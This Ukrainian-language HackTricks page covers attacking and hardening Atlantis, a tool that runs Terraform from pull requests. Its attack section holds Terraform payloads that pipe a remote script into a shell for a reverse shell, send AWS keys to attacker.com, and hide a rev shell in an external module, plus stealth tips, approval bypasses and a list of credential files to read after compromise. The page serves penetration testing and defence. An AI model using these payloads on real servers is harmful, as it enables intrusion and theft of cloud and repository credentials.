Atlantis Security

Підтримайте HackTricks

Основна інформація

Атлантіс допомагає вам запускати terraform з Pull Requests з вашого git сервера.

Локальна лабораторія

  1. Перейдіть на сторінку релізів атлантісу за посиланням https://github.com/runatlantis/atlantis/releases та завантажте той, який вам підходить.

  2. Створіть особистий токен (з доступом до репозиторіїв) вашого github користувача.

  3. Виконайте ./atlantis testdrive і він створить демо-репозиторій, який ви можете використовувати для спілкування з атлантісом.

  4. Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141

Доступ до Atlantis

Облікові дані Git сервера

Атлантіс підтримує кілька git хостів, таких як Github, Gitlab, Bitbucket та Azure DevOps. Однак, для доступу до репозиторіїв на цих платформах та виконання дій, йому потрібно мати деякий привілейований доступ, наданий їм (принаймні права на запис). Документація рекомендує створити користувача на цих платформах спеціально для Атлантісу, але деякі люди можуть використовувати особисті облікові записи.

У будь-якому випадку, з точки зору атакувальника, акаунт Атлантісу буде дуже цікавим для компрометації.

Вебхуки

Атлантіс використовує необов'язково секрети вебхуків, щоб перевірити, що вебхуки, які він отримує від вашого Git хоста, є легітимними.

Один з способів підтвердити це - дозволити запити лише від IP-адрес вашого Git хоста, але простіше використовувати Секрет вебхука.

Зверніть увагу, що, якщо ви не використовуєте приватний github або bitbucket сервер, вам потрібно буде викласти кінцеві точки вебхуків в Інтернет.

Атлантіс буде викладати вебхуки, щоб git сервер міг надсилати йому інформацію. З точки зору атакувальника буде цікаво знати, чи можна надсилати йому повідомлення.

Облікові дані постачальника

З документації:

Атлантіс запускає Terraform, просто виконуючи команди terraform plan та apply на сервері, на якому розміщений Атлантіс. Точно так само, як при локальному запуску Terraform, Атлантіс потребує облікових даних для вашого конкретного постачальника.

Це залежить від вас, як ви надаєте облікові дані для вашого конкретного постачальника Атлантісу:

  • Шаблон Helm Атлантісу та Модуль AWS Fargate мають власні механізми для облікових даних постачальника. Прочитайте їх документацію.

  • Якщо ви запускаєте Атлантіс у хмарі, то у багатьох хмарах є способи надання доступу до API хмари додаткам, які на них працюють, наприклад:

  • Ролі EC2 AWS (Шукайте "EC2 Role")

  • Багато користувачів встановлюють змінні середовища, наприклад, AWS_ACCESS_KEY, де працює Атлантіс.

  • Інші створюють необхідні файли конфігурації, наприклад, ~/.aws/credentials, де працює Атлантіс.

  • Використовуйте Постачальник HashiCorp Vault, щоб отримати облікові дані постачальника.

Контейнер, де працює Атлантіс, велика ймовірність, що містить привілейовані облікові дані для постачальників (AWS, GCP, Github...), якими управляє Атлантіс через Terraform.

Веб-сторінка

За замовчуванням Атлантіс буде запускати веб-сторінку на порту 4141 на локальному хості. Ця сторінка просто дозволяє вам увімкнути/вимкнути застосування атлантісу, перевірити статус плану репозиторіїв та розблокувати їх (це не дозволяє змінювати речі, тому воно не дуже корисне).

Ймовірно, ви не знайдете його викладеним в Інтернет, але, здається, за замовчуванням не потрібні облікові дані для доступу до нього (і якщо вони потрібні, atlantis:atlantis - за замовчуванням).

Налаштування сервера

Налаштування для atlantis server можна вказати за допомогою прапорців командного рядка, змінних середовища, файлу конфігурації або комбінації трьох.

Значення вибираються в такому порядку:

  1. Прапорці

  2. Змінні середовища

  3. Файл конфігурації

Зверніть увагу, що в налаштуваннях ви можете знайти цікаві значення, такі як токени та паролі.

Налаштування репозиторіїв

Деякі налаштування впливають на тим, як керуються репозиторії. Однак можливо, що кожен репозиторій вимагає різних налаштувань, тому є способи вказати кожен репозиторій. Це порядок пріоритету:

  1. Файл /atlantis.yml репозиторію. Цей файл може бути використаний для вказання того, як атлантіс повинен обробляти репозиторій. Однак за замовчуванням деякі ключі не можуть бути вказані тут без деяких прапорців, що дозволяють це.

  2. Ймовірно, потрібно дозволити за допомогою прапорців, таких як allowed_overrides або allow_custom_workflows

  3. Конфігурація на стороні сервера: Ви можете передати її за допомогою прапорця --repo-config і це yaml, що налаштовує нові параметри для кожного репозиторію (підтримуються регулярні вирази)

  4. За замовчуванням значення

Захист PR

Atlantis дозволяє вказати, чи хочете ви, щоб PR був затверджений кимось іншим (навіть якщо це не встановлено в захисті гілки) і/або був злитий (пройшли захисти гілки) перед запуском apply. З точки зору безпеки рекомендується встановити обидві опції.

У випадку, якщо allowed_overrides встановлено на True, ці налаштування можуть бути перезаписані на кожному проекті за допомогою файлу /atlantis.yml.

Сценарії

Конфігурація репозиторію може вказувати сценарії, які виконуються перед (перед хуками робочого процесу) та після (після хуків робочого процесу) виконання робочого процесу.

Немає жодної опції, що дозволяє вказати ці сценарії в файлі конфігурації репозиторію /atlantis.yml.

Робочий процес

У конфігурації репозиторію (конфігурація на стороні сервера) можна вказати новий типовий робочий процес, або створити нові користувацькі робочі процеси. Також можна вказати, які репозиторії можуть отримати доступ до створених нових.

Потім можна дозволити файлу atlantis.yaml кожного репозиторію вказати робочий процес, який слід використовувати.

Якщо прапорець конфігурації на стороні сервера allow_custom_workflows встановлено на True, робочі процеси можуть бути вказані в файлі atlantis.yaml кожного репозиторію. Також можливо, що allowed_overrides також вказує також workflow для перевизначення робочого процесу, який буде використовуватися. Це фактично надасть RCE в сервері Atlantis будь-якому користувачеві, який може отримати доступ до цього репозиторію.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Перевірка політики Conftest

Атлантіс підтримує запуск серверної conftest політики проти вихідного плану. Загальні випадки використання цього кроку включають:

  • Відмова від використання списку модулів

  • Перевірка атрибутів ресурсу під час створення

  • Виявлення ненавмисного видалення ресурсів

  • Запобігання ризикам безпеки (тобто викладання захищених портів у публічний доступ)

Ви можете перевірити, як це налаштувати в документації.

Команди Атлантіс

У документації ви можете знайти параметри, які можна використовувати для запуску Атлантісу:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Атаки

Якщо під час експлуатації ви знаходите цю помилку: Error: Error acquiring the state lock

Ви можете виправити це, виконавши:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

План RCE Atlantis - Зміна конфігурації в новому PR

Якщо у вас є права на запис у репозиторій, ви зможете створити нову гілку на ньому та згенерувати PR. Якщо ви можете виконати atlantis plan (або це виконується автоматично), ви зможете виконати RCE всередині сервера Atlantis.

Ви можете це зробити, зробивши Atlantis завантажити зовнішнє джерело даних. Просто вставте пейлоад, подібний до наведеного нижче, у файл main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Прихована атака

Ви можете виконати цю атаку ще більш приховано, дотримуючись цих рекомендацій:

  • Замість того, щоб додавати обернену оболонку безпосередньо до файлу terraform, ви можете завантажити зовнішній ресурс, який містить обернену оболонку:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Можна знайти код оболонки rev за посиланням https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • У зовнішньому ресурсі використовуйте функцію ref, щоб приховати код оболонки terraform rev у гілці всередині репозиторію, щось на зразок: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Замість створення PR до master для запуску Atlantis, створіть 2 гілки (test1 та test2) і створіть PR з однієї в іншу. Після завершення атаки, просто видаліть PR та гілки.

Atlantis plan Secrets Dump

Ви можете витягти секрети, використовуючи terraform, запустивши atlantis plan (terraform plan), вставивши щось на зразок цього у файл terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis застосовує RCE - Зміна конфігурації в новому PR

Якщо у вас є права на запис у сховище, ви зможете створити нову гілку на ньому та згенерувати PR. Якщо ви можете виконати atlantis apply, ви зможете виконати RCE всередині сервера Atlantis.

Проте, зазвичай вам потрібно обійти деякі захисти:

  • Mergeable: Якщо цей захист встановлений в Atlantis, ви можете запустити atlantis apply лише якщо PR є mergeable (що означає, що захист гілки потрібно обійти).

  • Перевірте можливі обхіди захисту гілок

  • Approved: Якщо цей захист встановлений в Atlantis, інший користувач повинен схвалити PR перед тим, як ви зможете запустити atlantis apply

  • За замовчуванням ви можете зловживати токеном Gitbot для обходу цього захисту

Запуск terraform apply на шкідливий файл Terraform з local-exec. Вам лише потрібно переконатися, що деякий навантаження, подібне наступному, завершується у файлі main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Виконайте рекомендації з попередньої техніки, щоб виконати цей атаку в більш прихований спосіб.

Впровадження параметрів Terraform

Під час виконання atlantis plan або atlantis apply terraform запускається під-потребу, ви можете передавати команди до terraform з atlantis, прокоментувавши щось на зразок:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Щось, що можна передати, це змінні середовища, які можуть бути корисні для обходу деяких захистів. Перевірте змінні середовища Terraform за посиланням https://www.terraform.io/cli/config/environment-variables

Користувацький робочий процес

Виконання зловмисних користувацьких команд збірки, вказаних у файлі atlantis.yaml. Atlantis використовує файл atlantis.yaml з гілки запиту на вилучення, а не з master. Ця можливість була згадана в попередньому розділі:

Якщо прапорець конфігурації з боку сервера allow_custom_workflows встановлено на True, робочі процеси можуть бути вказані у файлі atlantis.yaml кожного репозиторію. Також, можливо, потрібно, щоб allowed_overrides також вказував workflow, щоб перевизначити робочий процес, який буде використовуватися.

Це фактично дозволить RCE на сервері Atlantis будь-якому користувачеві, який може отримати доступ до цього репозиторію.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Обхід захисту плану/застосування

Якщо прапорець конфігурації зі сторони сервера allowed_overrides має налаштований apply_requirements, то для репозиторію можливо змінити захист плану/застосування для їх обходу.

repos:
- id: /.*/
apply_requirements: []

Викрадення PR

Якщо хтось залишає коментарі atlantis plan/apply на ваші дійсні запити на злиття, це призведе до запуску terraform, коли ви цього не хочете.

Більше того, якщо ви не налаштували захист гілки для запиту на переоцінку кожного PR при новому коміті, хтось може написати зловмисні конфігурації (перевірте попередні сценарії) в конфігурації terraform, запустити atlantis plan/apply і отримати RCE.

Ось налаштування в GitHub для захисту гілок:

Секрет веб-гачка

Якщо вам вдалося викрасти секрет веб-гачка, який використовується, або якщо не використовується жоден секрет веб-гачка, ви можете викликати веб-гачок Atlantis і викликати команди атлантісу безпосередньо.

Bitbucket

Bitbucket Cloud не підтримує секрети веб-гачків. Це може дозволити зловмисникам підробляти запити від Bitbucket. Переконайтеся, що ви дозволяєте лише IP-адреси Bitbucket.

  • Це означає, що зловмисник може робити фальшиві запити до Atlantis, які виглядають так, ніби вони приходять з Bitbucket.

  • Якщо ви вказуєте --repo-allowlist, то вони можуть лише підробляти запити, що стосуються цих репозиторіїв, тому найбільша шкода, яку вони можуть завдати, полягає в плануванні/застосуванні на власних репозиторіях.

  • Щоб цього уникнути, дозвольте IP-адреси Bitbucket (див. IP-адреси IPv4 для вихідного з'єднання).

Післяексплуатаційний період

Якщо вам вдалося отримати доступ до сервера або хоча б ви отримали LFI, є кілька цікавих речей, які варто спробувати прочитати:

  • /home/atlantis/.git-credentials Містить облікові дані доступу до vcs

  • /atlantis-data/atlantis.db Містить облікові дані доступу до vcs з більшою інформацією

  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Файл стану Terraform

  • Приклад: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Змінні середовища

  • /proc/[2-20]/cmdline Cmd line atlantis server (може містити чутливі дані)

Заходи запобігання

Не Використовуйте На Публічних Репозиторіях

Оскільки будь-хто може коментувати на публічні запити на злиття, навіть з усіма доступними засобами безпеки, все ще небезпечно запускати Atlantis на публічних репозиторіях без належної конфігурації параметрів безпеки.

Не Використовуйте --allow-fork-prs

Якщо ви працюєте з публічним репозиторієм (що не рекомендується, див. вище), ви не повинні встановлювати --allow-fork-prs (за замовчуванням вимкнено), оскільки будь-хто може відкрити запит на злиття зі свого форку до вашого репозиторію.

--repo-allowlist

Для роботи Atlantis вам потрібно вказати список репозиторіїв, з яких він буде приймати веб-гачки через прапорець --repo-allowlist. Наприклад:

  • Конкретні репозиторії: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Ваша організація в цілому: --repo-allowlist=github.com/runatlantis/*

  • Кожен репозиторій у вашому GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*

  • Усі репозиторії: --repo-allowlist=*. Корисно, коли ви в захищеній мережі, але небезпечно без встановлення секрета веб-гачка.

Цей прапорець гарантує, що ваша установка Atlantis не використовується з репозиторіями, які ви не контролюєте. Див. atlantis server --help для отримання додаткової інформації.

Захист Планування Terraform

Якщо включення зловмисників, які подають запити на злиття зі зловмисним кодом Terraform, є в вашій моделі загроз, вам слід усвідомити, що схвалення terraform apply недостатнє. Є можливість виконати зловмисний код в terraform plan, використовуючи external джерело даних або вказавши зловмисного провайдера. Цей код може витягти ваші облікові дані.

Для запобігання цьому ви можете:

  1. Вбудувати провайдерів у образ або хост Atlantis та заборонити вихід у виробництво.

  2. Реалізувати протокол реєстрації провайдерів внутрішньо та заборонити публічний вихід, таким чином ви контролюєте, хто має право на запис у реєстр.

  3. Змініть конфігурацію репозиторію на стороні сервера для перевірки використання заборонених провайдерів або джерел даних або запитів на злиття від не дозволених користувачів. Ви також можете додати додаткову перевірку на цьому етапі, наприклад, вимагаючи "підтвердження" на запит на злиття перед тим, як дозволити продовження plan. Тут може бути корисний Conftest.

Секрети Веб-Гачків

Atlantis повинен працювати з встановленими секретами веб-гачків через змінні середовища $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Навіть з встановленим прапорцем --repo-allowlist, без секрета веб-гачка зловмисники можуть робити запити до Atlantis, видаючи себе за репозиторій, який є в списку дозволених. Секрети веб-гачків забезпечують, що запити веб-гачків дійсно надходять від вашого постачальника VCS (GitHub або GitLab).

Якщо ви використовуєте Azure DevOps, замість секретів веб-гачків додайте базове ім'я користувача та пароль.

Базова Аутентифікація Azure DevOps

Azure DevOps підтримує відправку заголовка базової аутентифікації у всіх подіях веб-гачків. Це вимагає використання HTTPS-URL для вашого місцезнаходження веб-гачка.

SSL/HTTPS

Якщо ви використовуєте секрети веб-гачків, але ваш трафік йде через HTTP, то секрети веб-гачків можуть бути вкрадені. Увімкніть SSL/HTTPS за допомогою прапорців --ssl-cert-file та --ssl-key-file.

Увімкнення Аутентифікації на Веб-Сервері Atlantis

Дуже рекомендується увімкнути аутентифікацію у веб-сервісі. Увімкніть BasicAuth, використовуючи прапорець --web-basic-auth=true та налаштуйте ім'я користувача та пароль за допомогою прапорців --web-username=yourUsername та --web-password=yourPassword.

Ви також можете передавати це як змінні середовища ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername та ATLANTIS_WEB_PASSWORD=yourPassword.

Посилання

Підтримайте HackTricks

Last updated